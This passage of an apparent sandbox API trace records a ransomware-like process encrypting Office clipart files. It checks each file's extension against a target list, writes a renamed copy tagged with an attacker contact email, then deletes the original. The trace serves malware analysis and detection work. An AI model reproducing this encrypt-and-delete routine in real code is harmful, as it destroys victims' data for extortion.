(in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x5664, lpOverlapped=0x0) returned 1 [0261.217] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x5670, lpOverlapped=0x0) returned 1 [0261.220] ReadFile (in: hFile=0x488, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0261.220] WriteFile (in: hFile=0x3f4, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0261.220] SetEndOfFile (hFile=0x3f4) returned 1 [0261.220] CloseHandle (hObject=0x3f4) returned 1 [0261.220] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.220] SetEndOfFile (hFile=0x488) returned 1 [0261.270] CloseHandle (hObject=0x488) returned 1 [0261.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0261.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.511] lstrlenW (lpString=".doc") returned 4 [0261.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.511] lstrlenW (lpString=".docx") returned 5 [0261.511] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.511] lstrlenW (lpString=".pdf") returned 4 [0261.511] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.511] lstrlenW (lpString=".xls") returned 4 [0261.511] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.511] lstrlenW (lpString=".xlsx") returned 5 [0261.511] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.511] lstrlenW (lpString=".ppt") returned 4 [0261.511] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.511] lstrlenW (lpString=".zip") returned 4 [0261.511] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.511] lstrlenW (lpString=".rar") returned 4 [0261.511] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString=".bz2") returned 4 [0261.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString=".7z") returned 3 [0261.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString=".dbf") returned 4 [0261.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString=".1cd") returned 4 [0261.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString=".jpg") returned 4 [0261.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString=".doc") returned 4 [0261.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString=".docx") returned 5 [0261.512] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.512] lstrlenW (lpString=".pdf") returned 4 [0261.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString=".xls") returned 4 [0261.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.512] lstrlenW (lpString=".xlsx") returned 5 [0261.512] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.512] lstrlenW (lpString=".ppt") returned 4 [0261.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.512] lstrlenW (lpString=".zip") returned 4 [0261.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.512] lstrlenW (lpString=".rar") returned 4 [0261.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.513] lstrlenW (lpString=".bz2") returned 4 [0261.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.513] lstrlenW (lpString=".7z") returned 3 [0261.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.513] lstrlenW (lpString=".dbf") returned 4 [0261.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.513] lstrlenW (lpString=".1cd") returned 4 [0261.513] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0261.513] lstrlenW (lpString=".jpg") returned 4 [0261.513] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.513] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.513] lstrlenW (lpString="IN00957_.WMF") returned 12 [0261.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.515] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2944) returned 1 [0261.515] CloseHandle (hObject=0x388) returned 1 [0261.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0261.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.516] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.516] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0261.517] GetLastError () returned 0x0 [0261.517] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0xb80, lpOverlapped=0x0) returned 1 [0261.519] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xb90, lpOverlapped=0x0) returned 1 [0261.521] ReadFile (in: hFile=0x388, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0261.521] WriteFile (in: hFile=0x534, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0261.521] SetEndOfFile (hFile=0x534) returned 1 [0261.522] CloseHandle (hObject=0x534) returned 1 [0261.522] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.522] SetEndOfFile (hFile=0x388) returned 1 [0261.526] CloseHandle (hObject=0x388) returned 1 [0261.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1 [0261.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.528] lstrlenW (lpString=".doc") returned 4 [0261.528] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.528] lstrlenW (lpString=".docx") returned 5 [0261.528] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.528] lstrlenW (lpString=".pdf") returned 4 [0261.528] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.528] lstrlenW (lpString=".xls") returned 4 [0261.528] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.528] lstrlenW (lpString=".xlsx") returned 5 [0261.528] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.529] lstrlenW (lpString=".ppt") returned 4 [0261.529] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.529] lstrlenW (lpString=".zip") returned 4 [0261.529] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.529] lstrlenW (lpString=".rar") returned 4 [0261.529] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString=".bz2") returned 4 [0261.529] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString=".7z") returned 3 [0261.529] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.529] lstrlenW (lpString=".dbf") returned 4 [0261.529] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.529] lstrlenW (lpString=".1cd") returned 4 [0261.529] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.529] lstrlenW (lpString=".jpg") returned 4 [0261.529] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.530] lstrlenW (lpString=".doc") returned 4 [0261.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.530] lstrlenW (lpString=".docx") returned 5 [0261.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0261.530] lstrlenW (lpString=".pdf") returned 4 [0261.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.530] lstrlenW (lpString=".xls") returned 4 [0261.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.530] lstrlenW (lpString=".xlsx") returned 5 [0261.530] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0261.530] lstrlenW (lpString=".ppt") returned 4 [0261.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.530] lstrlenW (lpString=".zip") returned 4 [0261.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.530] lstrlenW (lpString=".rar") returned 4 [0261.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.530] lstrlenW (lpString=".bz2") returned 4 [0261.530] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.530] lstrlenW (lpString=".7z") returned 3 [0261.530] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.531] lstrlenW (lpString=".dbf") returned 4 [0261.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.531] lstrlenW (lpString=".1cd") returned 4 [0261.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68 [0261.531] lstrlenW (lpString=".jpg") returned 4 [0261.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.531] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0261.531] lstrlenW (lpString="J0075478.GIF") returned 12 [0261.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0261.719] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1220) returned 1 [0261.719] CloseHandle (hObject=0x388) returned 1 [0261.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0261.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.770] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.770] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.772] GetLastError () returned 0x0 [0261.772] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4c4, lpOverlapped=0x0) returned 1 [0261.774] WriteFile (in: hFile=0x574, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4d0, lpOverlapped=0x0) returned 1 [0261.776] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0261.776] WriteFile (in: hFile=0x574, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0261.776] SetEndOfFile (hFile=0x574) returned 1 [0261.776] CloseHandle (hObject=0x574) returned 1 [0261.776] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.776] SetEndOfFile (hFile=0x42c) returned 1 [0261.782] CloseHandle (hObject=0x42c) returned 1 [0261.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0261.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1 [0261.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.784] lstrlenW (lpString=".doc") returned 4 [0261.784] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.784] lstrlenW (lpString=".docx") returned 5 [0261.784] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0261.784] lstrlenW (lpString=".pdf") returned 4 [0261.784] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.784] lstrlenW (lpString=".xls") returned 4 [0261.785] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.785] lstrlenW (lpString=".xlsx") returned 5 [0261.785] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0261.785] lstrlenW (lpString=".ppt") returned 4 [0261.785] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.785] lstrlenW (lpString=".zip") returned 4 [0261.785] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.785] lstrlenW (lpString=".rar") returned 4 [0261.785] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.785] lstrlenW (lpString=".bz2") returned 4 [0261.785] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.785] lstrlenW (lpString=".7z") returned 3 [0261.785] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.785] lstrlenW (lpString=".dbf") returned 4 [0261.785] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.785] lstrlenW (lpString=".1cd") returned 4 [0261.785] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.785] lstrlenW (lpString=".jpg") returned 4 [0261.785] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.786] lstrlenW (lpString=".doc") returned 4 [0261.786] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0261.786] lstrlenW (lpString=".docx") returned 5 [0261.786] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0261.786] lstrlenW (lpString=".pdf") returned 4 [0261.786] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0261.786] lstrlenW (lpString=".xls") returned 4 [0261.786] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0261.786] lstrlenW (lpString=".xlsx") returned 5 [0261.786] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0261.786] lstrlenW (lpString=".ppt") returned 4 [0261.786] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0261.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.786] lstrlenW (lpString=".zip") returned 4 [0261.786] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0261.786] lstrlenW (lpString=".rar") returned 4 [0261.790] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0261.790] lstrlenW (lpString=".bz2") returned 4 [0261.790] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0261.790] lstrlenW (lpString=".7z") returned 3 [0261.790] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0261.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.790] lstrlenW (lpString=".dbf") returned 4 [0261.790] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0261.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.790] lstrlenW (lpString=".1cd") returned 4 [0261.790] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0261.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68 [0261.790] lstrlenW (lpString=".jpg") returned 4 [0261.790] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0261.790] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0261.791] lstrlenW (lpString="J0086424.WMF") returned 12 [0261.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.793] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=17016) returned 1 [0261.793] CloseHandle (hObject=0x42c) returned 1 [0261.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0261.793] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0261.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0261.794] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.794] SetFilePointerEx (in: hFile=0x42c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0261.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0261.796] GetLastError () returned 0x0 [0261.796] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x4278, lpOverlapped=0x0) returned 1 [0261.799] WriteFile (in: hFile=0x574, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x4280, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x4280, lpOverlapped=0x0) returned 1 [0261.801] ReadFile (in: hFile=0x42c, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 